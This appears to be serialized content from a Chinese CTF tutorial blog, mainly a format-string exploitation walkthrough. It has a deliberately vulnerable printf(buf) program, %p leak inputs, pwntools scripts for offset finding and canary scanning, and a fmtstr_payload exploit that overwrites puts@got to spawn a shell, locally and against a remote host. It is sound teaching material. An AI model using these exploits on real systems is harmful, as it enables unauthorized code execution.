p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[29,9640,9641,9645,9649,9653,9657,9661,9665,9669,9673],{"__ignoreMap":27},[32,9642,9643],{"class":34,"line":35},[32,9644,2689],{},[32,9646,9647],{"class":34,"line":46},[32,9648,2433],{"emptyLinePlaceholder":1372},[32,9650,9651],{"class":34,"line":69},[32,9652,2779],{},[32,9654,9655],{"class":34,"line":79},[32,9656,2832],{},[32,9658,9659],{"class":34,"line":451},[32,9660,2433],{"emptyLinePlaceholder":1372},[32,9662,9663],{"class":34,"line":457},[32,9664,2956],{},[32,9666,9667],{"class":34,"line":463},[32,9668,2882],{},[32,9670,9671],{"class":34,"line":469},[32,9672,3176],{},[32,9674,9675],{"class":34,"line":475},[32,9676,2970],{},[15,9678,168],{},[22,9680,9682],{"className":9681,"code":3191,"language":174,"meta":27},[172],[29,9683,3191],{"__ignoreMap":27},[10,9685,9687],{"id":9686},"十一小结","十一、小结",[15,9689,9690,9691,9693,9694,9696],{},"栈溢出主线：",[29,9692,3052],{}," 判断防护 → ",[29,9695,2678],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1349,9698,9699],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":27,"searchDepth":46,"depth":46,"links":9701},[9702,9703,9704,9705,9706,9707,9708,9709,9710,9711,9712],{"id":8632,"depth":69,"text":8633},{"id":88,"depth":69,"text":89},{"id":2406,"depth":69,"text":2407},{"id":8812,"depth":69,"text":8813},{"id":2659,"depth":69,"text":2660},{"id":9008,"depth":69,"text":9009},{"id":9116,"depth":69,"text":9117},{"id":9183,"depth":69,"text":9184},{"id":9558,"depth":69,"text":9559},{"id":9623,"depth":69,"text":9624},{"id":9686,"depth":69,"text":9687},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1365,"image":9715,"alt":9716,"tags":9717,"published":1372},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1369,2581,9718,1371],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8627,"description":9713},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9724,"title":9725,"body":9726,"description":10751,"extension":1363,"meta":10752,"navigation":1372,"ogImage":4233,"path":10756,"seo":10757,"stem":10758,"__hash__":10759},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9727,"toc":10739},[9728,9732,9735,9750,9765,9782,9786,9791,9840,9861,9865,9870,9872,9881,9883,9889,9892,9898,9909,9917,9921,9926,9942,9945,9947,9955,9957,9963,9966,9972,9982,10049,10054,10084,10088,10093,10106,10114,10169,10222,10225,10234,10237,10241,10246,10261,10266,10272,10274,10287,10290,10333,10337,10348,10356,10362,10432,10465,10468,10547,10553,10582,10592,10594,10652,10656,10663,10672,10715,10717,10723,10725,10736],[10,9729,9731],{"id":9730},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9733,9734],{},"C 程序员常写的输出代码：",[22,9736,9738],{"className":815,"code":9737,"language":817,"meta":27,"style":27},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[29,9739,9740,9745],{"__ignoreMap":27},[32,9741,9742],{"class":34,"line":35},[32,9743,9744],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[32,9746,9747],{"class":34,"line":46},[32,9748,9749],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9751,9752,9753,9756,9757,9760,9761,9764],{},"当 ",[29,9754,9755],{},"buf"," 内容是 ",[29,9758,9759],{},"%p"," 时，",[29,9762,9763],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9766,9767,9768,9776],"ul",{},[791,9769,9770,1124,9772,9775],{},[29,9771,9759],{},[29,9773,9774],{},"%s","：任意读（泄露内存）。",[791,9777,9778,9781],{},[29,9779,9780],{},"%n","：任意写（写入内存）。",[10,9783,9785],{"id":9784},"二漏洞程序与编译","二、漏洞程序与编译",[15,9787,9788,560],{},[29,9789,9790],{},"fmt.c",[22,9792,9794],{"className":815,"code":9793,"language":817,"meta":27,"style":27},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[29,9795,9796,9800,9804,9808,9813,9817,9822,9827,9832,9836],{"__ignoreMap":27},[32,9797,9798],{"class":34,"line":35},[32,9799,2423],{},[32,9801,9802],{"class":34,"line":46},[32,9803,2433],{"emptyLinePlaceholder":1372},[32,9805,9806],{"class":34,"line":69},[32,9807,2481],{},[32,9809,9810],{"class":34,"line":79},[32,9811,9812],{},"    char buf[100];\n",[32,9814,9815],{"class":34,"line":451},[32,9816,2487],{},[32,9818,9819],{"class":34,"line":457},[32,9820,9821],{},"    printf(\"> \");\n",[32,9823,9824],{"class":34,"line":463},[32,9825,9826],{},"    fgets(buf, sizeof(buf), stdin);\n",[32,9828,9829],{"class":34,"line":469},[32,9830,9831],{},"    printf(buf);          // 漏洞\n",[32,9833,9834],{"class":34,"line":475},[32,9835,2511],{},[32,9837,9838],{"class":34,"line":481},[32,9839,2448],{},[22,9841,9843],{"className":24,"code":9842,"language":26,"meta":27,"style":27},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[29,9844,9845],{"__ignoreMap":27},[32,9846,9847,9849,9851,9854,9857,9859],{"class":34,"line":35},[32,9848,2529],{"class":38},[32,9850,2532],{"class":240},[32,9852,9853],{"class":42}," fmt",[32,9855,9856],{"class":42}," fmt.c",[32,9858,2541],{"class":240},[32,9860,2544],{"class":240},[10,9862,9864],{"id":9863},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9866,9867,9869],{},[135,9868,137],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9871,6433],{},[22,9873,9875],{"className":24,"code":9874,"language":26,"meta":27,"style":27},"./fmt\n",[29,9876,9877],{"__ignoreMap":27},[32,9878,9879],{"class":34,"line":35},[32,9880,9874],{"class":38},[15,9882,152],{},[22,9884,9887],{"className":9885,"code":9886,"language":174,"meta":27},[172],"%p.%p.%p.%p.%p.%p\n",[29,9888,9886],{"__ignoreMap":27},[15,9890,9891],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[22,9893,9896],{"className":9894,"code":9895,"language":174,"meta":27},[172],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[29,9897,9895],{"__ignoreMap":27},[15,9899,9900,9901,9904,9905,9908],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[29,9902,9903],{},"0x70252e70","，正是 ",[29,9906,9907],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9910,9911,560,9914,9916],{},[135,9912,9913],{},"为什么能泄露",[29,9915,9763],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9918,9920],{"id":9919},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9922,9923,9925],{},[135,9924,137],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9927,9928,9930,9931,9933,9934,9937,9938,9941],{},[135,9929,143],{},"：在输入开头放 4 个 ",[29,9932,2896],{},"，用 ",[29,9935,9936],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[29,9939,9940],{},"0x41414141","，哪个位置就是输入起点。",[15,9943,9944],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9946,6433],{},[22,9948,9949],{"className":24,"code":9874,"language":26,"meta":27,"style":27},[29,9950,9951],{"__ignoreMap":27},[32,9952,9953],{"class":34,"line":35},[32,9954,9874],{"class":38},[15,9956,152],{},[22,9958,9961],{"className":9959,"code":9960,"language":174,"meta":27},[172],"AAAA.%6$p\n",[29,9962,9960],{"__ignoreMap":27},[15,9964,9965],{},"预期输出（Linux x86-64 典型情况）：",[22,9967,9970],{"className":9968,"code":9969,"language":174,"meta":27},[172],"> AAAA.0x41414141\n",[29,9971,9969],{"__ignoreMap":27},[15,9973,9974,9975,9977,9978,9981],{},"出现 ",[29,9976,9940],{},"（",[29,9979,9980],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[22,9983,9985],{"className":1237,"code":9984,"language":1239,"meta":27,"style":27},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[29,9986,9987,9991,9995,10000,10005,10010,10015,10020,10025,10030,10035,10040,10045],{"__ignoreMap":27},[32,9988,9989],{"class":34,"line":35},[32,9990,2689],{},[32,9992,9993],{"class":34,"line":46},[32,9994,2433],{"emptyLinePlaceholder":1372},[32,9996,9997],{"class":34,"line":69},[32,9998,9999],{},"for i in range(1, 15):\n",[32,10001,10002],{"class":34,"line":79},[32,10003,10004],{},"    p = process('./fmt')\n",[32,10006,10007],{"class":34,"line":451},[32,10008,10009],{},"    p.recvuntil(b'> ')\n",[32,10011,10012],{"class":34,"line":457},[32,10013,10014],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[32,10016,10017],{"class":34,"line":463},[32,10018,10019],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[32,10021,10022],{"class":34,"line":469},[32,10023,10024],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[32,10026,10027],{"class":34,"line":475},[32,10028,10029],{},"    out = p.recvall()\n",[32,10031,10032],{"class":34,"line":481},[32,10033,10034],{},"    if b'0x41414141' in out:\n",[32,10036,10037],{"class":34,"line":1294},[32,10038,10039],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[32,10041,10042],{"class":34,"line":1300},[32,10043,10044],{},"        print(f'offset = {i}')\n",[32,10046,10047],{"class":34,"line":2478},[32,10048,3645],{},[15,10050,168,10051,300],{},[29,10052,10053],{},"offset = 6",[15,10055,10056,10057,4831,10060,10062,10063,10065,10066,10069,10070,10073,10074,10069,10077,709,10080,10083],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[29,10058,10059],{},"rdi, rsi, rdx, rcx, r8, r9",[29,10061,9763],{}," 自己占 ",[29,10064,9170],{},"，所以 ",[29,10067,10068],{},"%1$p"," 到 ",[29,10071,10072],{},"%5$p"," 对应 ",[29,10075,10076],{},"rsi",[29,10078,10079],{},"r9",[29,10081,10082],{},"%6$p"," 开始读栈。",[10,10085,10087],{"id":10086},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,10089,10090,10092],{},[135,10091,137],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,10094,10095,10097,10098,10101,10102,10105],{},[135,10096,143],{},"：不同数据在栈上有固定特征——canary 以 ",[29,10099,10100],{},"00"," 结尾，libc 地址以 ",[29,10103,10104],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,10107,796,10108,10069,10110,10113],{},[29,10109,10082],{},[29,10111,10112],{},"%40$p"," 全部打出来，识别特征值：",[489,10115,10116,10126],{},[492,10117,10118],{},[495,10119,10120,10123],{},[498,10121,10122],{},"值特征",[498,10124,10125],{},"内容",[505,10127,10128,10139,10150,10160],{},[495,10129,10130,10136],{},[510,10131,10132,10133,10135],{},"以 ",[29,10134,10100],{}," 结尾的随机值",[510,10137,10138],{},"canary",[495,10140,10141,10147],{},[510,10142,10143,10146],{},[29,10144,10145],{},"0x7fff"," 开头",[510,10148,10149],{},"栈地址",[495,10151,10152,10157],{},[510,10153,10154,10146],{},[29,10155,10156],{},"0x55/0x56",[510,10158,10159],{},"程序代码地址（PIE 基址相关）",[495,10161,10162,10166],{},[510,10163,10164,10146],{},[29,10165,10104],{},[510,10167,10168],{},"libc 地址",[22,10170,10172],{"className":1237,"code":10171,"language":1239,"meta":27,"style":27},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[29,10173,10174,10179,10184,10188,10193,10198,10202,10207,10212,10217],{"__ignoreMap":27},[32,10175,10176],{"class":34,"line":35},[32,10177,10178],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[32,10180,10181],{"class":34,"line":46},[32,10182,10183],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[32,10185,10186],{"class":34,"line":69},[32,10187,2882],{},[32,10189,10190],{"class":34,"line":79},[32,10191,10192],{},"out = p.recvall().decode().split('.')\n",[32,10194,10195],{"class":34,"line":451},[32,10196,10197],{},"# 按点号切分，得到每个位置的值。\n",[32,10199,10200],{"class":34,"line":457},[32,10201,2433],{"emptyLinePlaceholder":1372},[32,10203,10204],{"class":34,"line":463},[32,10205,10206],{},"for i, v in enumerate(out):\n",[32,10208,10209],{"class":34,"line":469},[32,10210,10211],{},"    if v.endswith('00') and len(v) == 18:\n",[32,10213,10214],{"class":34,"line":475},[32,10215,10216],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[32,10218,10219],{"class":34,"line":481},[32,10220,10221],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10223,10224],{},"泄露 libc 地址后：",[22,10226,10228],{"className":1237,"code":10227,"language":1239,"meta":27,"style":27},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[29,10229,10230],{"__ignoreMap":27},[32,10231,10232],{"class":34,"line":35},[32,10233,10227],{},[15,10235,10236],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10238,10240],{"id":10239},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10242,10243,10245],{},[135,10244,137],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10247,10248,560,10250,10252,10253,10256,10257,10260],{},[135,10249,143],{},[29,10251,9780],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[29,10254,10255],{},"%100c"," 精确控制打印量，再用 ",[29,10258,10259],{},"%N$n"," 写到目标地址。",[15,10262,10263,10265],{},[29,10264,9780],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[22,10267,10270],{"className":10268,"code":10269,"language":174,"meta":27},[172],"%100c%7$n\n",[29,10271,10269],{"__ignoreMap":27},[15,10273,9098],{},[788,10275,10276,10281],{},[791,10277,10278,10280],{},[29,10279,10255],{}," 打印 100 个填充字符，已打印数变成 100。",[791,10282,10283,10286],{},[29,10284,10285],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10288,10289],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[489,10291,10292,10302],{},[492,10293,10294],{},[495,10295,10296,10299],{},[498,10297,10298],{},"说明符",[498,10300,10301],{},"写入字节数",[505,10303,10304,10313,10323],{},[495,10305,10306,10310],{},[510,10307,10308],{},[29,10309,9780],{},[510,10311,10312],{},"4 字节",[495,10314,10315,10320],{},[510,10316,10317],{},[29,10318,10319],{},"%hn",[510,10321,10322],{},"2 字节",[495,10324,10325,10330],{},[510,10326,10327],{},[29,10328,10329],{},"%hhn",[510,10331,10332],{},"1 字节",[10,10334,10336],{"id":10335},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10338,10339,10341,10342,10344,10345,10347],{},[135,10340,137],{},"：把程序即将调用的 ",[29,10343,9518],{}," 改成我们的 ",[29,10346,2655],{},"，实现控制流劫持。",[15,10349,10350,560,10352,10355],{},[135,10351,143],{},[29,10353,10354],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10357,10358,10359,560],{},"目标程序 ",[29,10360,10361],{},"fmt2.c",[22,10363,10365],{"className":815,"code":10364,"language":817,"meta":27,"style":27},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[29,10366,10367,10371,10375,10379,10383,10387,10391,10395,10399,10403,10407,10411,10415,10419,10424,10428],{"__ignoreMap":27},[32,10368,10369],{"class":34,"line":35},[32,10370,2423],{},[32,10372,10373],{"class":34,"line":46},[32,10374,2428],{},[32,10376,10377],{"class":34,"line":69},[32,10378,2433],{"emptyLinePlaceholder":1372},[32,10380,10381],{"class":34,"line":79},[32,10382,2438],{},[32,10384,10385],{"class":34,"line":451},[32,10386,2443],{},[32,10388,10389],{"class":34,"line":457},[32,10390,2448],{},[32,10392,10393],{"class":34,"line":463},[32,10394,2433],{"emptyLinePlaceholder":1372},[32,10396,10397],{"class":34,"line":469},[32,10398,2481],{},[32,10400,10401],{"class":34,"line":475},[32,10402,9812],{},[32,10404,10405],{"class":34,"line":481},[32,10406,2487],{},[32,10408,10409],{"class":34,"line":1294},[32,10410,9821],{},[32,10412,10413],{"class":34,"line":1300},[32,10414,9826],{},[32,10416,10417],{"class":34,"line":2478},[32,10418,9831],{},[32,10420,10421],{"class":34,"line":2484},[32,10422,10423],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[32,10425,10426],{"class":34,"line":2490},[32,10427,2511],{},[32,10429,10430],{"class":34,"line":2496},[32,10431,2448],{},[22,10433,10435],{"className":24,"code":10434,"language":26,"meta":27,"style":27},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[29,10436,10437,10453],{"__ignoreMap":27},[32,10438,10439,10441,10443,10446,10449,10451],{"class":34,"line":35},[32,10440,2529],{"class":38},[32,10442,2532],{"class":240},[32,10444,10445],{"class":42}," fmt2",[32,10447,10448],{"class":42}," fmt2.c",[32,10450,2541],{"class":240},[32,10452,2544],{"class":240},[32,10454,10455,10457,10459,10462],{"class":34,"line":46},[32,10456,2581],{"class":38},[32,10458,2584],{"class":42},[32,10460,10461],{"class":42}," ./fmt2",[32,10463,10464],{"class":2549},"     # 需为 Partial RELRO，GOT 可写\n",[15,10466,10467],{},"利用脚本：",[22,10469,10471],{"className":1237,"code":10470,"language":1239,"meta":27,"style":27},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[29,10472,10473,10477,10481,10486,10491,10496,10500,10505,10510,10515,10520,10525,10530,10535,10539,10543],{"__ignoreMap":27},[32,10474,10475],{"class":34,"line":35},[32,10476,2689],{},[32,10478,10479],{"class":34,"line":46},[32,10480,2433],{"emptyLinePlaceholder":1372},[32,10482,10483],{"class":34,"line":69},[32,10484,10485],{},"context.binary = elf = ELF('./fmt2')\n",[32,10487,10488],{"class":34,"line":79},[32,10489,10490],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[32,10492,10493],{"class":34,"line":451},[32,10494,10495],{},"p = process('./fmt2')\n",[32,10497,10498],{"class":34,"line":457},[32,10499,2433],{"emptyLinePlaceholder":1372},[32,10501,10502],{"class":34,"line":463},[32,10503,10504],{},"offset = 6\n",[32,10506,10507],{"class":34,"line":469},[32,10508,10509],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[32,10511,10512],{"class":34,"line":475},[32,10513,10514],{},"# fmtstr_payload(offset, writes)：\n",[32,10516,10517],{"class":34,"line":481},[32,10518,10519],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[32,10521,10522],{"class":34,"line":1294},[32,10523,10524],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[32,10526,10527],{"class":34,"line":1300},[32,10528,10529],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[32,10531,10532],{"class":34,"line":2478},[32,10533,10534],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[32,10536,10537],{"class":34,"line":2484},[32,10538,2433],{"emptyLinePlaceholder":1372},[32,10540,10541],{"class":34,"line":2490},[32,10542,2882],{},[32,10544,10545],{"class":34,"line":2496},[32,10546,2970],{},[15,10548,10549,10552],{},[29,10550,10551],{},"fmtstr_payload"," 自动完成：",[788,10554,10555,10560,10567,10576],{},[791,10556,796,10557,10559],{},[29,10558,2655],{}," 地址拆成低 2 字节和高 2 字节。",[791,10561,10562,10563,10566],{},"生成 ",[29,10564,10565],{},"%c"," 控制打印量。",[791,10568,10569,10570,263,10572,10575],{},"把两个目标地址（",[29,10571,10354],{},[29,10573,10574],{},"puts@got+2","）放到对应参数位置。",[791,10577,10578,10579,10581],{},"用 ",[29,10580,10319],{}," 分别写入。",[15,10583,10584,10585,10588,10589,10591],{},"预期结果：程序执行 ",[29,10586,10587],{},"puts(\"Done\")"," 时实际调用 ",[29,10590,2995],{},"，进入 shell。",[10,10593,3004],{"id":3003},[489,10595,10596,10606],{},[492,10597,10598],{},[495,10599,10600,10602,10604],{},[498,10601,1046],{},[498,10603,3015],{},[498,10605,3018],{},[505,10607,10608,10626,10638],{},[495,10609,10610,10612,10624],{},[510,10611,3025],{},[510,10613,10614,263,10616,263,10619,1124,10621],{},[29,10615,10551],{},[29,10617,10618],{},"FmtStr",[29,10620,3043],{},[29,10622,10623],{},"recvuntil",[510,10625,3047],{},[495,10627,10628,10630,10633],{},[510,10629,3052],{},[510,10631,10632],{},"看 RELRO、Canary、PIE",[510,10634,10635],{},[29,10636,10637],{},"pwn checksec ./fmt2",[495,10639,10640,10642,10645],{},[510,10641,9608],{},[510,10643,10644],{},"断点、看栈、验证参数位置",[510,10646,10647,263,10650],{},[29,10648,10649],{},"break main",[29,10651,3076],{},[10,10653,10655],{"id":10654},"九小-ctf-实战","九、小 CTF 实战",[15,10657,10658,10659,10662],{},"题目：远程运行 ",[29,10660,10661],{},"fmt2","（Partial RELRO、No PIE）。",[15,10664,10665,10667,10668,10671],{},[135,10666,143],{},"：与本地脚本唯一区别是 ",[29,10669,10670],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[22,10673,10675],{"className":1237,"code":10674,"language":1239,"meta":27,"style":27},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[29,10676,10677,10681,10685,10689,10694,10698,10703,10707,10711],{"__ignoreMap":27},[32,10678,10679],{"class":34,"line":35},[32,10680,2689],{},[32,10682,10683],{"class":34,"line":46},[32,10684,2433],{"emptyLinePlaceholder":1372},[32,10686,10687],{"class":34,"line":69},[32,10688,10485],{},[32,10690,10691],{"class":34,"line":79},[32,10692,10693],{},"p = remote('1.2.3.4', 10002)\n",[32,10695,10696],{"class":34,"line":451},[32,10697,2433],{"emptyLinePlaceholder":1372},[32,10699,10700],{"class":34,"line":457},[32,10701,10702],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[32,10704,10705],{"class":34,"line":463},[32,10706,2882],{},[32,10708,10709],{"class":34,"line":469},[32,10710,3176],{},[32,10712,10713],{"class":34,"line":475},[32,10714,2970],{},[15,10716,168],{},[22,10718,10721],{"className":10719,"code":10720,"language":174,"meta":27},[172],"flag{format_string}\n",[29,10722,10720],{"__ignoreMap":27},[10,10724,3197],{"id":3196},[15,10726,10727,10728,1124,10730,10732,10733,10735],{},"格式化字符串提供两种原语：",[29,10729,9759],{},[29,10731,9774],{}," 任意读，",[29,10734,9780],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1349,10737,10738],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":27,"searchDepth":46,"depth":46,"links":10740},[10741,10742,10743,10744,10745,10746,10747,10748,10749,10750],{"id":9730,"depth":69,"text":9731},{"id":9784,"depth":69,"text":9785},{"id":9863,"depth":69,"text":9864},{"id":9919,"depth":69,"text":9920},{"id":10086,"depth":69,"text":10087},{"id":10239,"depth":69,"text":10240},{"id":10335,"depth":69,"text":10336},{"id":3003,"depth":69,"text":3004},{"id":10654,"depth":69,"text":10655},{"id":3196,"depth":69,"text":3197},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1365,"image":4233,"alt":10753,"tags":10754,"published":1372},"格式化字符串深入实战",[1369,2581,10755,1371],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9725,"description":10751},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10761,"title":10762,"body":10763,"description":11730,"extension":1363,"meta":11731,"navigation":1372,"ogImage":8618,"path":11735,"seo":11736,"stem":11737,"__hash__":11738},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10764,"toc":11718},[10765,10769,10772,10775,10798,10811,10813,10829,10833,10839,10842,10857,10861,10866,10871,10960,10962,10968,10975,10979,10984,10989,10993,11012,11014,11020,11026,11030,11035,11120,11122,11128,11137,11141,11149,11178,11182,11186,11196,11202,11206,11211,11216,11223,11229,11232,11238,11242,11405,11407,11413,11417,11484,11486,11547,11556,11558,11560,11566,11569,11573,11578,11592,11594,11600,11604,11613,11663,11665,11671,11675,11707,11709,11716],[10,10766,10768],{"id":10767},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10770,10771],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10773,10774],{},"DH 最小实现（见密码学全景篇）：",[22,10776,10778],{"className":1237,"code":10777,"language":1239,"meta":27,"style":27},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[29,10779,10780,10784,10788,10793],{"__ignoreMap":27},[32,10781,10782],{"class":34,"line":35},[32,10783,3864],{},[32,10785,10786],{"class":34,"line":46},[32,10787,3879],{},[32,10789,10790],{"class":34,"line":69},[32,10791,10792],{},"A, B = pow(g, a, p), 